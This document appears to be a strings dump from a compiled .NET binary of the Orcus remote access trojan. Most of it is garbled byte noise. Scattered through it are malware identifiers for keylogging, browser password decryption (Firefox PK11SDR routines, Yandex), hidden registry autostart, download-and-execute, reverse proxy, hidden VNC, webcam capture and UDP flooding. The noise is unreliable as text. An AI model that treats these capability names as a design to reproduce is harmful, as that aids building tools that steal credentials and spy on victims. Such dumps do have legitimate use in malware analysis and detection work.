TCP_TABLE_BASIC_CONNECTIONS
;{\
t$(U)4
R.G!
}JF
GetRowCount
@?sg
i&!Qf
l:l/7-
SQLiteHandler
Restart
set_DataMode
7tEOC
set_Name
f\#>
Default
{/4L\
QUERYUISTATE
mL}s=
kEXv
;7b[
@yX
set_Path
ArchitectureToString
!{"|v
I^@
/B8
{bVk
N:X#0
cHW
,!9W
ConnectionId
8U2'
FrameChanged
TB,7
set_Install
set_ApiVersion
GetHbitmap
Nm3i@
POWER
GetEntryAssembly
F\G0
qzQo
6I=iS
h9]N
M/_zo'
Ttk2L
GetSystemInfo
7U2u
%&ER
set_PrivateBytes
;)c
2"A=
%&EJ
A+Xq
8N8K-
#_g!V
<qcZ
G3bfd[
CompileAssemblyFromSource
h0f]
SIZECLIPBOARD
$D8;0
Bj A
]Klse
2o=A
SystemIcon
)V^y
gIUP
nz)V
R/JA?
!2GQf
A=>,
Z%vza:
set_IsTaken
uD:H
l{IV
eUDW^f
c{^l
QL)i
2Su9
_vfv5sG
p9J8R
uBUU
get_Count
W
#o
:[?8
s'fM
!VM,
IESecretHeader
"wly
z
f3
parameter
#VMe--]
Vggy
0_fK
<SetProcessorInformation>b__2_0
fe6*D;
hklE
?("OX
hICu
Z@Lt
1u%5
O<#~v}z
h&=y
Xt{3
k&?-
sH4_
Q3vi
<>9__7_1
c#qr
WS_GROUP
)Z:L
*}6-
|.Wa
f}oT
wkOr
b>*;
GetFormattedKeyValues
dbrP
d*Fe
OperationalStatus
NDM&EK
HTSYSMENU
4#*d
[d|
{MKY
R2`)
,<#"D
\#M5Ko
lL7f
&bcc
set_FriendlyName
#VCG
i*P[2P
HUI{I
ToInt32
kOw
8wi."z
WFZ?
_=I<
a'DX
3F(#4
(BwJTE
HTTOPRIGHT
SpecialKeyType
KeyProcessing
t\`X&
HSHELL_ACCESSIBILITYSTATE
Ct`
({q
8QU65
>DK
kx4@
)9e6
p\;P|
<KeyLoggerService>k__BackingField
B{yN
3 `
4Vo{l
PASTE
>,;sa
omW
MIB_TCP_STATE_LISTEN
#
<ei
6;T5I
C15f
cv_+
&
set_CompanyName
RegistryValueUnknown
get_Pipe
[Gk::"\
set_AutoResetEvent
PK11SDR_DecryptPtr
TK5UCM
|]TA?F
TojjB
)f|L
rg8
GLLG
ReverseProxyCommunication
q+QA#
ShowWindow
l%dK
ProxyHelper
get_File
An}t
zNtle2
t8r=
M
MB7
?h4T
y{S5y
tln$6
vC#>
Mf8X
;q J
:$^$=N8
20RV
YEjq%
eb98W
qgu
BitBlt
Ouo~|)
set_Host
1;^
.VX]
~0tl
4(p^J>R
lpSystemInfo
CGlQ
5&8Xi^J
!kx1f
v
s]
ShowDialog
pelWidth
F@x
v(`e
b+,jx
~6Be^
=.K!
oR_b
lfvI63;
CryptAcquireContext
-@;lr^+u
:)Be
6QklB
_connectionInfo
#'e{
|a1|)
NumberStyles
Pnw9
GetPasswords
+NOe#
6PY,
2.8Xn7/
NetNamedPipeBinding
5,~
fzyT
Orcus.Commands.TextChat
parallelDownloads
Vm4
i5Wx
SettingsBase
"@hH
~&;Sc
R`50
l
ut(f
te~Bi
Orcus.Native
ZYN9
CancelOutputRead
aH?X
,qtmp
l&n?w(
)&\
//1\d
set_FileName
B-|lK]S
pOX%
4_P`
@GuT
mIb(
r&AJ(X
,5|~
x_lg
ply|
get_CarriageReturnAndLineFeedReplacement
LinkedListNode`1
yzV+
h^*+I'
F\f#
'W^)
HK]
lgE
EI$-
get_SoundOutId
h!?iS2
vz+?
ToBase64String
Install
2X"WEG
|I|?
yzV7
TrimEnd
dtcf
<GetOperatingSystemInformation>b__5
CS$<>9__CachedAnonymousMethodDelegate1
3JAv
:p7(
caD|
jxe]
[$PG
e2]u
:[w/
e2]l
n$!
J=~
P?l}
V8|6>
get_EnumUrls
z(t:ddb}z&
-r^/
lpThreadAttributes
Pmq5
@;sD
_sd/m
<ProcessCommand>b__4
PTC!V
-aK`i
}4#
<Host>k__BackingField
'UC
u\r!
iv]?
uSF#
aJ?
<entry>5__1
q6X%
h!!7Yi
DownloadAndExecuteCommand
hProv
<GetOperatingSystemInformation>b__7
set_ProcessorInfo
qof);
zoG,
Invoke
StartProcess
3'5k~
KeyLogFile
G+H7H
"K
(l?}
=L%t,
^[l;
<!d!
:\<o
SetWrapMode
_firefoxPath
O;&
Uf4&
n"rg
W57O
)*
=
i{(:
A A{
Bu[J
CultureToString
vGQIxY#
lkaK
_systemPageSize
TIMER
W8MVb
get_MonikerString
/iy(
DecodeProductKeyWin8AndUp
z	Eu?
L>]j
Sw<_
(j![
windowToRenderHandle
?R9:f"Mh
7Z/\nt+
baseHandle
LQ+([7
GyC4
UVF$)k|)
?BZ
|m5W
eor)4J
f6?3
CreateCompatibleBitmap
:CRJ
e{U*;.Qo
Rrat
5slD
jYl#
Array
Y[X 1
F%;#
>1+$
j*2{
Bv~N
%}[
ZqKd
"	0u
+C{G
GetUdpConnections
xb"5K
datetime
9Jme
'6U
K
5O
z/\@
~_.]
PushKeyLog
CompareExchange
[)=%
slot
WS_SYSMENU
mYs^
>
i/}o
-?}Q
)sj
ProcessPriorityClass
r63S
aqX0Z
<FileName>k__BackingField
,&B^
AdvancedBitmapImage
umGg_S
Oqo
l]'bye
vistaStartMenuWnd
M\w`
fxte5C8}h
:G`]
6go(
#jK
windowInformation
FromHwnd
S6G
9{5
|C7?+
A{$:LR
3t8n
?y_e
?m#$
6f:<
:9CY
HANDHELDLAST
WindowsBuiltInRole
\rOW
9zWBh
Hfa<
set_CurrentImage
7F!
RegistryCreateValuePackage
`
_O
3:[a
P]AR2
x~c3
6|^4
J6iI
z+8c
y")G
System.Collections.Generic.IEnumerable<System.String>.GetEnumerator
{iW
p*r
G
E3^1
6]@?
bXJV
6"QT~
H^}
ai|0
LkwY
xWs:
Q2sf
oCk`5
XLY+
|hOx~S
CreateOperation
ro5=
WriteString
DirectSoundDeviceEnumerator
get_Location
pl@=
y)ZY
set_ProcessorName
\_|a
FileTransferEventArgs
STYLECHANGED
]&s^I
hq}7 <
liO!
8	8	8
qD?~
lHa}
MoAI
q%tA
d%y*
'cI"p!
GetCurrent
+}EZ
1Aj@
ntv
dc	0
Jo${
dwWindowStatus
Rz9O
@JN*
:oC
P*'Nv[
q=d)
EQos
oyJ?X
{Z>m2
i&m:W
get_FullName
RH~s.K!
zxHeE
<IsCsvData>k__BackingField
qkv+
#+4K
FreeHGlobal
get_CompiledAssembly
,3>
1!=
;&ioy
<DatabaseConnection>k__BackingField
.87X
ADDURL_ADDTOHISTORYANDCACHE
fuState
|9P'
EventLogEntryCollection
set_ChannelIndex
yzi`
hN=S
+_	o'
grVA
set_SoftwareInformation
RuntimeCompatibilityAttribute
gi(c
ActiveConnectionsCommand
Qsb8
hkQe
Ht	L
ullTotalPageFile
OnN<
fwD94]
5eY!9
'zpb
m~/H}
.JvvO
_random
cCL#[2
c"Wf0
)v8"
kBXv
Km'O
d0ZpH
vMAL1
Xgqma}
t1Jt
.}/{
YO.(
Bopj
@V';
%t
D!c}
4?2pBs
P(8-
+m:g
{[@
X(6
Round
connectionInfo
w%W"
?EU
gXwEq
p?a|
Ev#w
;6L<
?="Wc
"FLw
7'f
dwSecretInfoSize
`J8l
,kH
remove_Disconnected
] ~*
NImH
MF1X0
7^-]
!;F5G
/4,U
GraphicDevice
v60f
XBUTTONDBLCLK
VNadd#
{ \^
get_ApplicationPath
lpCurrentDirectory
Os5Z
l	c]
RRsMc
C,[O
7Xj
/4,H
Month
QUERYDRAGICON
\1m_
RECT
UFkv
mD_-
:'tS|
System.Web.Script.Serialization
IkT'l
W
pV
hostname
\rc_m
2vg<
4r,&G1I=
System.Security
=CYjX
XdG~
L	&GbY
97#T`
F+WG
RenderWindow
'=,s9#
ot!!
!+sA{
v
LD
#q&K
DestroyIcon
zzZ
IContainer
Clear
CURSOR_SHOWING
l]p+)<
Tfou
TLY>y
}mx(
)7U@
get_Identifier
A\3N-
[~&FJ
[L<A^
R$dn
;c#*
OU9
KEYEVENTF_KEYUP
<B#xrl
set_ProcessPath
#|O3
d(W)
Fa|@
93bW
q%<.
p_h5
Orcus.Shared.Commands.Webcam
]-Z]-v
set_ClientTag
]>1=
'aRx-
SetFilter
Y,~N
jPb%V
a1mkn
b6D2H
6o2r
IsATcpAnaylzerRunning
b$8;R
hovs
$2a34f2e9-77ee-48fe-9315-979980e6fbeb
sN
s%?i
deviceName
70]&
T|})
INITMENU
+f4s4
QKcF}o
hkni
FhKB
EXITSIZEMOVE
200p
GKZj
+Ba
QeHh
Vdk|
leS6w
c:T4
j'KE3F
get_Is64BitProcess
2%v
#G]<
$3601a898-0fe1-4710-ac30-2e6c417f46bd
Y(K&%
[L6e
<E^f
+R^FU
^J0$&H
orp
"8
)=iJoK
GetInstances
M5so
<>l__initialThreadId
mhvnry@
2j#/N7
pvmVGMN*
Z
;"
ResourceManager
-b19
ClientActionCommunication
2=Ec
GetExecutingAssembly
p*ruH
3b9.
HitTestValues
FromClientPackage
?Id44c
ResultSender
}B:A
Z:e
w`vfA6
8qjS
w%t^
p(?F
ContainerControl
TextChatForm
BeginErrorReadLine
(;&G
3x(6-
Is64BitProcess
1/0c
h(-c0W
:DBf
get_BinaryReader
/E
b
8/C\
HSHELL_WINDOWCREATED
^Hk
5_<K}
ToInt16
1
e
p(?c
+`(C
H+7)
0e`g"
o4J
Y=By
Orcus.Shared.Commands.MessageBox
!>V3
CommandWarning
Gw>u
d4/K
VK9}
.
cQ
rG8
set_CreateNoWindow
F*1
o8SrC
set_DisplayName
RegistryAccessMask
hOg~a
R:J
1xt
MDIDESTROY
JT,
!9`\
v{R
nNPF
Pxu'
set_IpAddresses
WhO@
H>uL
:Nsb
;N>pFbv5S
_counter
O9!p
s8Uv;Lh
Nc3L
`R6B
package
PluginLoader
juA'z&
AddHistoryEntry
O`H1
#
X
o
/yf
y
zq#nP
WindowsModules
hx_c
,V;X
ng:M
38H:
gfL[
[X][QX
xTyIL
Vbxsl%Z(
s=oJ
T6
n8&
2(Cx
-Nr
fWriteHistory
1t%!
!)@
:0$d
DisposeSession
VideoArchitectureToString
XBKf
Empty
"x#PeW)/
.$$.
get_YourName
GetInstalledVoices
#s9N
RSACryptoServiceProvider
Kw"l
:*oY
biw
v
Lq.9)
YV,I
<Main>b__12_1
,xmb@
biosManagmentObject
DpvzOW
pcchCanonicalized
!9b6V
FileShare
,Ms
NBNm
Ut!H
F5Na8
;J%(
ObT~
*g4-
WM_KEYUP
nwb-
N
J`+
}:]r
J%PT:
>eM;
YajV
Sc+I
Bs"[
Orcus.Shared.Commands.AudioVolumeControl
4"=<
B|	_
set_ForeColor
JliM%
(g!;!IWqy
p~B-l
RW6Ka
Close
BMGI
o!`T
J,Nd~
l
S>:
1nqn
y="&
Encrypt
VMW_HILITE_MENU
7L5+@
+;V+
5{oC
G G Ga{
]+ak
3Y3L
#`q$.4
MM--
StreamExtensions
<ClientPath>k__BackingField
PGWe>ZfXih9
HandleRef
Z}gh/
i58EF
Kg&c
W&^pa
DL8F
Read
GetSubKeyNames
Xp]w
v~v9u
]2j{
PRINTCLIENT
A{}O
A)C/lyO
ttb_N
<Session>k__BackingField
w.2s`
zNZ_
screenCursorPos
get_Platform
b=.?
ip13
[=G<V
6OV}
"iL(
[/y4#w
d0!
label2
)v%^IP
y06aHag
+g7
gyA$
jyUa
-}$z
)D	y
get_StartExplorer
NbV?
uY4_
Z[WV
Ag4'
%	;r
/\do
#=iF
autoResetEvent
lpStartupInfo
wzZNg
u8[9
QO(o
GetFreeTempFileName
3fJKq
MENUDRAG
get_Scheme
$	fNy
O[C"
@k))
set_Manufacturer
fqjDK
set_CompositingQuality
;raw
zGxse
>=9qU
Yg4m#
\lSg
eventMin
^|&<
f!afi@
+fL3
get_Tasks
GE?7
:4 Q
)Bn
}>C)D
hmodWinEventProc
$b \G
e\7f
OX~
/
PluginInfo
7w|w
RECONNECTDELAY
mscorlib
8Q?
U+zK-
FileMode
)v~v
*{ze
BUFFER_SIZE
DISP_CHANGE_FAILED
-`h)C,
_serverConnection
PW	u
;JQLG
akKYb
f}L3N=:7k
lpvParam
<AdministrationId>k__BackingField
EMm
LrtgZ
AdministrationConnections
REGISTRYAUTOSTARTKEYNAME
S%|*
Uv0|
Orcus.Shared.Commands.Keylogger
RequestKeyLogCommand
lLV0
pY
W
/+sf
dk4D
8u
l
HSHELL_REDRAW
DrawFrame
23
B
ControlCollection
D8Vq
FileName
jIK?
DeriveBytes
;Y	a
SetDesktopWallpaper
X:K+
DQ1(p
5!-=
yd?>
IgnoreMove
+b@}
$Se"A8
otoL
%21)iu
N^1/
d$GS
@X:E
ClientStartup
@?!@
ManagementBaseObject
ts<g
z&zu
_a#5;!#k,L?
<IV>k__BackingField
TABLET_FIRST
{D|ZA
ABfu
ReadOnlyCollectionBase
className
*;4Q
);o;j)>j
LoadStream
4J^W'
J(&:
{nKw
)A<@
_floodingThread
;Mw8
RuntimeTypeHandle
@:s/
method
<>4__this
Starksoft.Aspen.Proxy
8XU
=
Xc
wXJov]
J5Ccb
\M=
Xs
>!K
89r
WyS9
d.^P\
IegA
s8yv>
LT>[*Y
<P n
%hvV
-%(
\i
s
`*[P
V{
{
l=#B
IsWow64ProcessDelegate
UInt64
sender
P9(*
DesktopWindowsProc
W|QG
Nn='
IPEndPoint
P$I.
get_Frame
action
sf{/
logData
s%c:
set_SetAdminFlag
B<h1(
CheckDisposed
RedirectPackage
bq%,
&q)/
sR$
-#1,@[
W+4v.
,-*g
R|R|\
^8d$q
set_OSName
33z:
_is64BitOperatingSystem
;{"4
ccrp@
jWn|s4
Yo.G
SC_MONITORPOWER
4h	=
_K4N
WININICHANGE
iSsW


*
gQ}X
DeleteKeyFromContainer
#l?
GetDrives
4!%E
JcNU
uZl2
2#ffffff
\dQ$z
>n(F
0=;O
FORCEINSTALLERADMINISTRATORPRIVILEGES
}?KnAN
]a]
(kg,k
4bzH
ENTERMENULOOP
3\5<
*4N~]UHY
}w6:
~"AK+
8+p
fk'}8Lx
set_RedirectStandardOutput
iN?F
~Dmz
,	0%
\t,fd.:
f7U
zyk&
1na/
rcWindow
P4\_
>heJuo
w(-<L
.wx[
~QM3
7gV
RBUTTONDBLCLK
=9o8lMow
kdC
$
set_Cancel
cZj#
|5gW
>=|5/
4	f8f
"hXW
yWH6
x#|/"_
[[fd
get_ExecutablePath
(9~8
)T!
uJi
ClientConfig
X4zu
fc&f
*|;fh
FromAdministrationPackage
/mZ
CH%1
PacketSize
A!mO
set_Revision
Y$b$
I"a4
So-E2
#gX#
9>#=-7
"|	|F
t%BE
vF.~
}n9o
U*w"
Orcus.Commands.FunActions
xB?F
=.Q
)~]Gm{
- [|P)6
#
S2
NU%&"
})l
U=oI^
^d8
1
-:\T
6hbb
+f X
Flags
V~Sd
i`+;-
AppConfigWriter
4=#kt@
Nq0_*
|74ys
z?pI\
<CheckRunning>b__13_0
?\
^
r<cn
lpEnumFunc
{[[00P
HTSIZELAST
~p3
NYO*
%~{3
&83+
Im<6
ProcessListChangelog
#hfB
i-{@|
hF3e
l*iR
%!.u
W|<C
i^?1C
().!
Dispose
ReverseProxyCommand
rN
D8>Q2
set_Handles
ZFIc
r:'
]>41
x0>?
Q|!:
}<o
-
.V
{8
5,%My
meOWS[wokS
m3G8_
9Oh6
>MkM
os1}
S_9
?G
qRs}
:P$5
E8Pv
pa:
))()-
{]^y
7Kc
GetDownloadUrl
T$5I
SC_NEXTWINDOW
rN'
RB_3
bGNalCPA
'^!fR
D&E<EJE
&	kM
Ed'<
"6W
O/0
$M2LTu
set_ClientSize
#5VU
remotePort2
remotePort3
iM=8uTS
jF[`5
Tv*>?
S,9C+
qx5
*$r/
InstalledVoice
y--oW
0j`|T
-2
<Source>k__BackingField
.efi
{6u
$q63Z
<P}l(
1oZ?
localPort4
_isAdministrator
LS%3
`VE~0
xL)q
CAPTUREBLT
9I-@s
'k8"
get_AsyncOperation
[K+o
M0*C
,Efg
Orcus.Commands.ComputerInformation
x{7a
\	D`V
9	V@&
L
Ihpk
);&c
p9v
_b"B
resourceCulture
+sOQ
@SH;"
-l06
get_MainModule
;;?B
U,@I
QnZK
r2S
[tO
localPort2
#L	i)^
IB
g
JBI
znQOE
ngp-9P
WBy)$(!A
XT!l
L.}c
op_Inequality
K!q*
CommandLoadedEventArgs
um)y
ResponseType
}&?"
4t`g
IPAddressInformation
;Nl0
{"	ql
OSType
3&]k
CvHK
fQ,s
5^.V
cAoQ
La_h
&i8E
CancelErrorRead
SC_HOTKEY
l<^,L
S1K
9
defaultInstance
Kxr
WriteCsv
kjvM
StaticCommandExecuter
HostsFileCommunication
W.c/*
%tMJ!
uTmb`
S!}!
4D53392A6A24D5E801ADA14E79B43F9BEBB79150
7.lWF9
eSV\
<Guid>k__BackingField
w<c}
Sps>
get_RootFolder
z{Bu
L3b6
G!S!
System.Collections.Specialized
|SMfFp	y
+-}`
V)$Oc
P'jH]
q
LPDI
get_TextInfo
[of4
O~KX9Y
#A%;
jA'QOY
System.Linq
<Dispose>b__4_0
LiveKeyloggerCommand
x.J|
show
a/*
-j.
fV CIZq
Lmf3
)miky
0ml[f0L
ub`w
<>m__Finally2
G9:H
set_RegistryHiddenAutostart
<>m__Finally1
=.hh
KBt\
-Z/|
%k2/
=Xg5v
*]nfO
7,EK
-bZM
T~mR
get_FileName
SPIF_SENDWININICHANGE
8:^f
|>pU
<$BIG
()
"=qtZ
p!Pe
M^jR_
TK)
2/l=
add_NewFrame
+mY
gA>D	b
- H
GetCultureInfo
mg_C
m3W^
jecvF
$^)l1?
<Ac%-]
sOR|
}:[5
#JcNBlo
b y}^p
8K.}
(2
<>c__DisplayClass14_0
get_IsSupportedOnCurrentPlatform
<j?Rp[}
-8s
ExecuteFileAnonymously
(/
_sendLock
SizeOf
unixTime
bQA4
UnicastIPAddressInformation
EndRead
bdV/z6(
BV@BB
ApplicationPath
UnhookWindowsHookEx
PluginReceiver
u?P9
m] >
m6e5[d
PKX<b
~	eH
a	zs
_>9gJ
phHash
,&mZ
ExceptionFile
.
]#7
(|
},1tR
index
rIV+!3
get_Flags
set_Key
w`^{
9/}$|a
S]|:
0i!U
get_Triggers
SP%Fi
XBUTTONUP
(
)()
?##:
Title
AyU}]}M}
1	=y
1tx9
(d
RgN6[
CultureInfo
lpCommandLine
endIndex
0wM
(&8Rb
9Qq
vKey
K@<P
8F^>h
_reverseProxyClient_DataReceived
(H
Boolean
WM_RBUTTONDOWN
(A
"-_s%
|wf5
Orcus.Commands.Passwords
V:1
set_Account
NHYE/
a^I0
h(eW,
pWG!
i_{/
registryHive
HE7|I
y0p~
j[ZA
IKm<
T488
w8]G
_K-g%
AddUrlAndNotify
1.0.0.0
P_qOU38
YuLE
+$yc
Z`[Q
t*;~
StringComparison
B4${
FI&K
O2*J
get_BootMode
CompilationRelaxationsAttribute
xKLD
<]JFK
I{VSN#
X0.%
ApplicationContext
<9{cGZ
;1f/r
@/hMO`k
K^\@fe
<Pipe>k__BackingField
get_Is64BitOperatingSystem
!;Dc
JJn6
MemoryStream
MessageBoxInformation
/Ug7#
-4.E.Y.r.{.
<>c__DisplayClass4_2
NewFrameEventHandler
<>c__DisplayClass4_0
<>c__DisplayClass4_1
F2/7[
w.0Sw
;,#E[
HttpWebRequest
K##s
J#zu:;
M{c$ZW
#hZW
!]{6D
@<7o
)	ey
W6z@X
(J,M
:9.
/&au
3
bytes
xq7]
:
VW
YziZ
set_VncMessage
5oi0?Xf,
CommandLoaded
.o=
=Q	l
k]]}K
Buffer
)fZwK
(L:
EVVx
Vv`;nY
CDS_UPDATEREGISTRY
vc!}]
DesktopWallpaper
+ _
unknownZero
6	h2
KS[m
G]L(
BYm
FileExplorerEntry
[d&A.
0oEz
A3/s6
,Bt_X
MBUTTONUP
0j?U*
configdir
SwapMouseButtons
IsVisible
x>G$f
Orcus.Commands.HostsFile
BmgeCr
a-bZ
<o'O
|bme
2:fK/
Orcus.Service.Extensions
X	o0
lpMinimumApplicationAddress
OnStop
a|r@
ne
]71
VvxS
Orcus.Commands.UninstallPrograms
u3k6
Gb#V
6$72S
SslPolicyErrors
(
=F
!T/^
MDT4
w 'v
5'*
r.L&
2,\C5
md5Hash
^zz)
b8wX
get_Target
53q6\k
u{xq;
't5Sl
dkm2
JifJ]p<
xrQI
@
c$_
-uoJ
get_FriendlyName
m?P^L
Orcus.exe
Vk?d
j\4cK
*dBc
7QK2
|54@^
V.Sv+
+Sa8
:
(2
_
}UI
bQ[Yb[
5{6w
lIBT
DoMouseClick
-&jZ
Ol"{
8nbk<
WH_KEYBOARD
!_Eqi
WCF_PAINTMETHOD_PRINT
[{dF
ADDURL_FLAG
Orcus.Commands.Passwords.Applications.Yandex
&s5v
0zL
8;3C
,N;t
desktop
XI1
wiQY7
?"S
\uml<o
G^[';
m,[O#.#)O'
;-C}^C
wg@<
PluginVersion
set_ServerConnection
s$
s=
\;t&Q]
<4zQ
<Z201
Concat
y%6oPe
' }C
eNs
:dyu
Orcus.Commands.MessageBox
~|g
C&^
get_Data
eaV<
qX_1
y~~W
ZP[U
func
lpClassName
KHCH
REGISTRYHIDDENAUTOSTART
73_a{
TK
NRgv
UN>>N
r'1
f<JF
TCP_TABLE_OWNER_MODULE_CONNECTIONS
^PR
/
@?#6
,y	[Z
4U:M
"'u
X
Kg
HvncCommunication
' ZAF,WQ
<Path>k__BackingField
,>q.
1:&|<
databaseConnection
{;G)#
\L!?
bUpi
ucL%
=Vv
5J0'
ClientController
U;,u
<PushRequests>b__2
T$,H
BE%T
set_LogicalDrives
f`f.
N)K:
get_AddressList
KEYLOGGERENABLED
XYo0
$~!q
ml8
2.[+6
:foI($
set_Username
pXN.
k?_x)
duud2
C8#f
`/WY
Orcus.Commands.FileExplorer
JSl{
?N5
1BJX
zEYu
tM#x'
#-#r
Sw#U
ReadStream
nCmdShow
_msvcrDllPtr
jLH
\i,jw
ReceiveData
add_ApplicationExit
qZht
IsCsvData
System.Text
!zgJ
whS/
c0~#blyv
z;_j
4s	G
CancelAsync
b?m-J
GW_HWNDLAST
HIw]
O.S
iUp
<InstallIfNotExist>b__0_0
IsNullOrEmpty
b-n7
"CR	b3)
-Vx
System.Collections.IEnumerator.get_Current
e+g697
Null
G~Zs
dp"w
dBj
E+Cn
A|wC +e
lpApplicationName
p*r	=
hObject
TCARD
,ewmk
RWfs
FDB}
sa
HvncHelper
|;Q|U^
ByteHelper
eqN9
t5gR
.?xnW
b}k-
Component
X1Vy
HTNOWHERE
u%+[5
set_DnsName
Bu!}
ec'_
SHGFI_ATTR_SPECIFIED
_eoQg
~n28
3llJ
1fo
J\eZA
U4W8
/I+Rh;#
VuqY
4}~Y
E9Pw
=PLe=d
MOUSEEVENTF_RIGHTUP
p\
'
-
	r+
SC_RESTORE
a=sS
|=?{/
SY}g
location
-{^7h
^d#x
+p?x
input
bSwap
X3LF
{Ng
t1QG
94A9
=*x
?MU=T
:s+9
XmlDocument
'Mx:
>FBg
\Cdi
fAtg(
vm,=ShIH
kx#O
GETHOTKEY
InterpolationMode
|>6k
AeJ7
iF
I#
-Hb4
{h:w
h7M_
HV1r
RegistrySubKey
?I,
__StaticArrayInitTypeSize=16
__StaticArrayInitTypeSize=10
AudioVolumeControlCommunication
EqLH
p#
W
HostsFileCommand
d!*Hy
oDN"g
i^*
g>S*
N*y{
nextId
add_Connected
d[e>#2
5HVt#
2?'S
>2`7\
rz.7_
n	C;yH
<GetHardwareInformation>b__10
gXxw
@m>
=]@7@0Y
2,c:
PRINT
<Lenght>k__BackingField
_:+EC
VOF{
b%E:
a	@`
]@x
%29/
TryGetValue
[PU`
ljZ\
c Sv
rH
DebuggerNonUserCodeAttribute
mi/F
get_Title
,]?i
g:gh
F,z7
0zO"
remove_KeyDown
Q=!\
t*:6
#@gk
\Q/U+f
a^%U
5o_,v:*
(Su\
fa:
avR97
\i3C
R|L?
set_Model
WM_SYSKEYUP
DebuggingModes
EventLogEntryType
P"TW
~9:
g
m>
|G
WO?Vy
certificate
=KQ
PY|{
.Si
wXmX
CXd.
1dsT!oB*hK
YcPG
ipAddressInfo
%
>r
#VF`
HIR'
ToArray
fsKp
DateTimeKind
8Z3e
F!6Y
y -q
XyHG
O B_V
UOI_NAME
IsInstalled
z'dmt5y(
Degrees90
<IsConnected>k__BackingField
h5SC
<%R.G
#=Nc
U8n
d*P
>06#}
'	vib
Handle_Connect
>!0>?
CompilerParameters
)$-Gt
User
URL_PLUGGABLE_PROTOCOL
ConsoleCommand
<96F#
ro@
{gq}i
;!
A
UgVJ
yeQ1
dwSize
Hy8]
`[BT
z;:`6
L"8t
V_b2
FromUnixTime
:FHk(
NXf
!$wQX
|;,Qk7
|X[>
!(kr
54iU
q}\,
_Vrv<en
ScrollToEnd
'UUv
^D~F
_stream
spa>
h%DK
#Mkh
j,7:t&
Xa2`
PK11_AuthenticatePtr
FirstOrDefault
3*mN
3){iu
<reh
SystemIcons
_@ j*
.nhP
F2
}9
7A.Q
K _5b
/K.1]
"p;7
-*bq
z
?gy5
SN;->
p	(L
psrw
~nO&qnmr
FromSeconds
YB(A(
qBlr
('FT&
|UZVCbZYYq
t@u
Re(,(
CallingConvention
FkIuJ
set_InternalName
mWB+
NCLBUTTONDBLCLK
p]}U
AddressFamily
}DFg
KEYFIRST
QZU.
AesEncryptor
mjoy
/xS\d.^
A|&2d
dc4e934a219e4881bb6cfc88ccbeba7b
^pGc
`5?f
F\:Y0
<Loadables>k__BackingField
DirectoryInfo
Orcus.Commands.ReverseProxy
"~Xf
zJ!G	9R
<EventId>k__BackingField
}9O<
_C7?w
{WGE
i|)s0
{u&[
WH_GETMESSAGE
costura.aforge.video.dll.zip
zVYs
RichTextBoxExtensions
[}IK
u>z&
\EK+9
iK1bj
\
y]
2k(k
:RFZjGs
:}T6
DESKTOP_JOURNALRECORD
set_GenerateInMemory
."U
q
@7h+^
FW45
M
kL]
code
Q]i)
IrN^
7 _s
ExtraInfo
%u7#
CreateChannel
W 8E
ENABLE
Qkb2
Y)c"rt
^27>
registryType
j_V6e
<ProcessCommand>b__5_0
2N#X
tz=PN
5[G
?f]D
"<if
3bf-
item_name
R."
B6\
iB
u2^?
/
]A6
nR^?
B%%T
GetSoftwareInformation
_kMGm
TakeScreenshot
={Q*c
prR#
rYzC
tc;k
G:7B@
;)1,
4\2d
g:(:\
+rnoz
xwft[$)c
*FJ5C
version
\)ON
KD/}=
NCDESTROY
O
Vu
MUTEX
r:+
QueryUrl
2(n
Q%_$';]
~&
U
7]A
\J3]
.!^z
r:"
Render
CN^O
DisplayFixedOutput
LhlfRS
d.Mml
URcY
Gc=
p@^`
+i
z)
L?P=
<GetNetworkInformation>b__9_0
C,o9
MDICREATE
[4^m?
\C"#/:
GetRoot
-XaU"
xQKG
t~\-
QDjE
T4v`6
V&9:D
u^CT
hTPD
#O;e
HsM5
f'?1
NEXTMENU
;%(c
>S$G
vH[4
D6j,
=KMR?hMy
2=;N
FZN-s
!J&)}
,ov
DiBNY
get_Length
_Q#~t
n;#\
_'jpC
TUW6g
SetThreadDesktop
c
flas
,M;
?!]O
p,.hT~
lqz
ZD[Oc
SC_DEFAULT
_v
,h_
set_ReplaceCarriageReturnsAndLineFeedsFromFieldValues
HfY8
NGW
get_Ipv4Address
t'.1:r
7Ox@
Xc>'-u
Orcus.Shared
0xd=Vb4
tI,_
h2_O
V*z$
Stream
Orcus.Commands.TextChat.Utilities
U
G	B
7?Vq
lNJ
&^]1
set_Field2
ov]8
@<*7;
UdpFloodPackage
<ToolBase>k__BackingField
<>9__3
>F	O Y
R9H
c,Uo*Op
XN[O
get_BlockSize
PAG+
R].
2te3>
I"-O
RT	0h
shlwapi.dll
Hr|"YE
a<,M
1#LO
g.;Rq
SystemTimeToFileTime
Windows Input
zoz]~:
Tld}l
Fh/@
#I66Nk
BindToObject
GetType
USERCHANGED
87s|
'W5
^g)e?!=?J
get_Commands
ZKH)
CPoS
=Zh^[
5{0/
MIB_TCPTABLE_OWNER_PID
W#v
~hjS
~(Nh
kG[
I*R]
Vixd
vVf
9&`J
X}O;
~Gci
Hg#L
Sat
qE$!
xk&;C
9z>~<x
viR
EndpointAddress
I4?
haK
]\
+-G.
set_Description
wn6h
BeginReceive
HnP7.M
list
>BZ|
pR9_7Z
uAction
URL_ESCAPE_UNSAFE
WH_SYSMSGFILTER
(-3S
cbSize
1_mh
M5f~# N
set_Secure
0:.>n
196;(
TB;Q
dwProcessorType
r%H0
process
eX/S
GAWO
x|s?8'
newWallpaper
r,|<
#I!@
Fc$0
set_ServiceName
uq`
#6L!
set_Image
Cp%
k{
"G!
F+;*
t=z/
}t+iI
cSt(
ConnectedLabel
!7	
V
y
_W
get_LoaderExceptions
:z.[
T=^
hnBbO
p4hiC
3sc#
m[-^
EventHandler`1
#E-H
,]O2
RX;O
qFMd
V
$8UF
t
tGi
^MG&
G>K\
ProcessToProcessInfo
<ProcessCommand>b__4_2
<ProcessCommand>b__4_1
<ProcessCommand>b__4_0
<ProcessCommand>b__4_7
ac?4
r_;6 o
_client
get_VoiceName
NCLBUTTONDOWN
` uM
GetProcessByFilename
0VB/A
x2sY,y|
CSCore.DirectSound
|NxM
="$u
+0A!;
GetAudioDevices
l='E
set_VolumeScalar
URL_UNESCAPE
Z0	Ru
Mt#8
e%m(
82Ft
HTMAXBUTTON
0V/a.
>Q)\@z
r{{=4r
b9m.
%35c
`Y<|
WS_CHILD
m
O~
GetForegroundWindow
M5ZE
<Connect>b__29_0
hKGo[Sco[g
%-,&
;S)Ah1k
I@90
h
~cYEEA
u;K'
^2t:
GK3&
N<Nz
=emwJ5
)!H
% YB
Match
F[t
>gBse
O|.GT
R!
C8!q
get_SystemPageSize
sYsx
